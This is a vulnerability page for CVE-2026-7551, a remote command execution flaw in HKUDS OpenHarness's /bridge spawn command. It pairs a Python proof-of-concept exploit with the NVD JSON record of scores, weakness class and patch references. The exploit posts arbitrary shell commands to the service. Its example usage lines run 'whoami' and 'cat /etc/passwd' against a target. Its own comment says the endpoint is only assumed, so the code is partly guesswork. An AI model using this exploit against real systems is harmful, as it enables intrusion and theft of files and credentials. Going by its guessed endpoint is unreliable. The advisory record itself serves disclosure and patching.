CVE-2026-7551

import requests def exploit_openharness(target_url, command): """ PoC for CVE-2026-7551: Remote Code Execution via /bridge spawn command. """ # Construct the malicious payload payload = f"/bridge spawn {command}" # The endpoint might vary, assuming a generic message endpoint based on the description endpoint = f"{target_url}/api/bridge" headers = { "Content-Type": "application/json" } data = { "command": payload } try: print(f"[*] Sending payload: {payload}") response = requests.post(endpoint, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Command sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # exploit_openharness("http://target-ip:port", "whoami") # exploit_openharness("http://target-ip:port", "cat /etc/passwd")

{"cve": {"id": "CVE-2026-7551", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:27.097", "lastModified": "2026-05-04T18:22:28.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HKUDS OpenHarness contains a remote code execution vulnerability in the /bridge slash command that allows remote senders accepted by configuration to execute arbitrary operating system commands. Attackers can invoke the /bridge spawn command with attacker-controlled command text that is forwarded to the bridge session manager and executed through the shared shell subprocess helper, allowing them to spawn shell sessions as the OpenHarness process user and access local files, credentials, workspace state, and repository contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hkuds:openharness:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-04-27", "matchCriteriaId": "7D6F7404-2CAA-4308-B5D7-034A23C87A4F"}]}]}], "references": [{"url": "https://github.com/HKUDS/OpenHarness/commit/438e37309778e19060dfe7b172eb142e543c4cd6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/HKUDS/OpenHarness/pull/208", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/hkuds-openharness-remote-command-execution-via-bridge-slash-command", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}